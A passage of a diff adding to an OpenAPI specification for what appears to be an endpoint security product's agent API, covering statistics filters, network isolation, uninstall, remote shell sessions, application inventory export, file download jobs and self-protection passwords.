+        - description: ""
+          in: query
+          name: port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: public_server_signature
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: proxy_host
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: vdi_salt
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: update_method
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: upgrade_status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: upgrade_failure_reason
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentDatasetsStat'
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/Agent/isolate/:
+    parameters: []
+    post:
+      description: Request network isolation on given agents
+      operationId: data_endpoint_Agent_isolate_many
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentIdList'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentIsolation'
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/Agent/stats_os/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_stats_os
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: dnsdomainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osmajor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osminor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: firstseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: lastseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: pinned_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: rollback_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: bitness
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domain
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installdate
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: external_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osbuild
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osrevision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osversion
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: producttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: servicepack
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: total_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_frequency
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: starttime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_boottime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_serial
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_macaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: isolation_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info1
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info2
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info3
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info4
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: effective_antivirus_policy_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: effective_antivirus_policy_revision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: boot_loop_protection_end_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: boot_loop_protection_boot_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: telemetry_last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: should_change_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: host
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: public_server_signature
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: proxy_host
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: vdi_salt
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: update_method
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: upgrade_status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: upgrade_failure_reason
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: fields
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentOsStat'
+        "400":
+          description: Missing or invalid field parameter
+          examples:
+            application/json:
+              fields: 'Only allowed parameters: `producttype` and `osproducttype.'
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/Agent/stats_policies/:
+    get:
+      description: For telemetries, on alert and live counts as enabled.
+      operationId: data_endpoint_Agent_stats_policies
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: dnsdomainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osmajor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osminor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: firstseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: lastseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: pinned_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: rollback_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: bitness
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domain
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installdate
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: external_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osbuild
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osrevision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osversion
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: producttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: servicepack
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: total_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_frequency
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: starttime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_boottime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_serial
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_macaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: isolation_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info1
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info2
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info3
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info4
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: effective_antivirus_policy_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: effective_antivirus_policy_revision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: boot_loop_protection_end_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: boot_loop_protection_boot_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: telemetry_last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: should_change_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: host
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: public_server_signature
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: proxy_host
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: vdi_salt
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: update_method
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: upgrade_status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: upgrade_failure_reason
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentPoliciesStat'
+      summary: Enabled agent counts for all policy options
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/Agent/uninstall/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_uninstall_many
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentIdList'
+      responses:
+        "200":
+          description: Success
+          examples:
+            application/json:
+              status: uninstall requested
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/Agent/update/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_request_update_many
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentIdList'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: Invalid target for agent
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/Agent/{agent_pk}/RemoteShellSession/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_RemoteShellSession_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: active
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: user_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: id
+          required: false
+          type: string
+        - in: query
+          name: agent.id
+          required: false
+          type: string
+        - in: query
+          name: agent.hostname
+          required: false
+          type: string
+        - in: query
+          name: user.id
+          required: false
+          type: string
+        - in: query
+          name: user.username
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/RemoteShellSessionList'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: agent_pk
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_RemoteShellSession_create
+      parameters: []
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellSession'
+        "403":
+          description: Forbidden
+        "504":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellErrorCodeResponse'
+      tags:
+        - agent
+  /data/endpoint/Agent/{agent_pk}/RemoteShellSession/possible_commands/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_RemoteShellSession_possible_commands
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: active
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: user_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellPossibleCommands'
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: agent_pk
+        required: true
+        type: string
+  /data/endpoint/Agent/{agent_pk}/RemoteShellSession/{id}/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_RemoteShellSession_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellSessionList'
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: agent_pk
+        required: true
+        type: string
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/Agent/{agent_pk}/RemoteShellSession/{id}/close/:
+    parameters:
+      - in: path
+        name: agent_pk
+        required: true
+        type: string
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_RemoteShellSession_close
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellErrorCodeResponse'
+      tags:
+        - agent
+  /data/endpoint/Agent/{agent_pk}/RemoteShellSession/{id}/poll/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_RemoteShellSession_poll_read
+      parameters:
+        - in: query
+          name: timestamp
+          required: false
+          type: number
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellPollResponse'
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellErrorCodeResponse'
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: agent_pk
+        required: true
+        type: string
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_RemoteShellSession_poll_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RemoteShellPollRequest'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellCommand'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellErrorCodeResponse'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellErrorCodeResponse'
+      tags:
+        - agent
+  /data/endpoint/Agent/{agent_pk}/applications/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_applications_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: publisher
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ostype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cpe_prefix
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: app_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: package_manager
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: agentId
+          required: true
+          type: string
+        - in: query
+          name: active
+          required: false
+          type: boolean
+        - in: query
+          name: installation_date
+          required: false
+          type: string
+        - in: query
+          name: first_seen
+          required: false
+          type: string
+        - in: query
+          name: last_seen
+          required: false
+          type: string
+        - in: query
+          name: installation_count
+          required: false
+          type: number
+        - in: query
+          name: first_version
+          required: false
+          type: string
+        - in: query
+          name: last_version
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AgentApplication'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: agent_pk
+        required: true
+        type: string
+  /data/endpoint/Agent/{agent_pk}/applications/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_endpoint_Agent_applications_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: publisher
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ostype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cpe_prefix
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: app_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: package_manager
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: agent_pk
+        required: true
+        type: string
+  /data/endpoint/Agent/{id}/:
+    delete:
+      description: ""
+      operationId: data_endpoint_Agent_delete
+      parameters: []
+      responses:
+        "200":
+          description: Success
+          examples:
+            application/json:
+              status: agent deleted
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentDetail'
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_Agent_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentEdit'
+      responses:
+        "200":
+          description: Success
+          examples:
+            application/json:
+              status: agent updated
+        "400":
+          description: Invalid form
+          examples:
+            application/json:
+              field_name:
+                - error message
+                - other error message
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_Agent_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentEdit'
+      responses:
+        "200":
+          description: Success
+          examples:
+            application/json:
+              status: agent updated
+        "400":
+          description: Invalid form
+          examples:
+            application/json:
+              field_name:
+                - error message
+                - other error message
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/applications/{app_id}/installations/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_applications_installations
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentInstallation'
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+      - in: path
+        name: app_id
+        required: true
+        type: string
+  /data/endpoint/Agent/{id}/cancel_update/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_cancel_update_request
+      parameters: []
+      responses:
+        "200":
+          description: Success
+          examples:
+            application/json:
+              status: update cancel attempted
+        "400":
+          description: Failure
+          examples:
+            application/json:
+              status: Redis agent data not found
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/change_id/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_change_id
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+        "501":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/clearStore/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_clear_store
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: Invalid target for agent
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/deisolate/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_deisolate
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentDetail'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentIsolation'
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/disks/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_disks
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/AgentDisk'
+            type: array
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/Agent/{id}/downloadFile/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_downloadFile
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentDownloadFileQuery'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/JobLight'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/force_fim_scan/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_force_fim_scan
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentDetail'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/generate_self_protection_password/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Request to generate a self-protection password for an agent
+      operationId: data_endpoint_Agent_generate_self_protection_password
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentSelfProtectionPasswordQuery'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentSelfProtectionPassword'
+        "400":
+          description: Failure
+          examples:
+            application/json:
+              status: The agent is not configured to use a self-protection password.
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/isolate/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Request network isolation on a given agent
+      operationId: data_endpoint_Agent_isolate
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentDetail'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentIsolation'
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/jobinstances/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_jobinstances
+      parameters:
+        - in: query
+          minLength: 1
+          name: data_type
+          required: true
+          type: string
+        - in: query
+          minLength: 1
+          name: data_subtype
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/AgentJobInstance'
+            type: array
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/Agent/{id}/latest_fim_report/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_latest_fim_report
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/LatestFIMReport'
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/Agent/{id}/local_groups/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_local_groups
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentWindowsLocalGroup'
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/Agent/{id}/local_users/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_local_users
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentWindowsLocalUser'
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/Agent/{id}/logs/:
+    delete:
+      description: ""
+      operationId: data_endpoint_Agent_logs
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/Agent/{id}/network_interfaces/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_network_interfaces
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/AgentNetInterface'
+            type: array
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/Agent/{id}/qfes/:
+    get:
+      description: ""
